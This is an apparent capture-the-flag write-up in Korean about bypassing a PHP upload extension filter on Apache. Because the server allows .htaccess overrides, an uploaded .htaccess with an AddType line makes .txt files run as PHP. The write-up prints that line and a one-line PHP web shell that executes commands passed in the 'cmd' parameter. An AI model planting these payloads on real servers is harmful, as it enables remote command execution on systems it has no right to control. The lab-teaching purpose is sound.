Apache htaccess


소스코드 분석

dockerfile, 000-default.conf

  • dockerfile 을 살펴보면 000-default.conf 파일을 /etc/apache2/sites-enabled/ 경로에 복사하고 있습니다.
  • 000-default.conf 파일의 설정을 살펴보면 아래와 같은데요.
    • /var/www/html 하위 디렉토리에 대해서 AllowOverride All 권한이 부여되어 있습니다.
    • 이 설정은 .htaccess 파일의 사용을 허용할지 여부를 결정합니다.
      • AllowOverride None.htaccess 파일을 무시함 (보안과 성능상 기본값)
      • AllowOverride All.htaccess 파일의 모든 지시어를 허용함
      • AllowOverride AuthConfig, FileInfo, Indexes, Limit, Options → 특정 기능만 허용 가능

upload.php

  • 업로드 관련 PHP 파일을 살펴보면, php 확장자 업로드가 불가하도록 설정되어 있습니다.
  • 때문에 PHP 파일을 바로 업로드 하려고 하면, extension file is not allowed ... 메시지가 출력됩니다.

  • 그럼 어떻게 PHP 확장자 검증을 우회해서 서버 측에 악성 파일 업로드를 할 수 있을까요?
  • 방법은 /upload 폴더에 .htaccess 파일을 업로드 하는 것입니다.

.htaccess

/etc/httpd/conf/httpd.conf 이 파일에 기본 설정이 있다.
하지만 같은 폴더에 이러한 파일이 있다면 글로벌의 환경변수를 적용하지 않고 현재 폴더에 다른 환경변수를 적용할 수 있다.



  • .htaccess 파일에 사용 가능한 옵션으로는 Addtype 이 있습니다.
  • Addtype 옵션을 아래와 같이 설정하여 파일에 저장하면, .txt 파일도 php 파일로 인식하도록 설정됩니다.

  • 이후 텍스트 파일에 웹쉘 페이로드를 담아 업로드를 진행합니다.

  • /upload/8bs98bs8d9.txt 파일을 웹쉘과 동일하게 사용할 수 있고, 이를 활용하면 플래그 확인이 가능합니다.

  Desktop cat .htaccess
Addtype application/x-httpd-php .txt
  Desktop cat 8bs98bs8d9.txt
<?php system($_GET['cmd']); ?>

🐛.. 🐛.. 🐛..



REFERENCE

  1. https://blog.naver.com/trader_ryu/204828903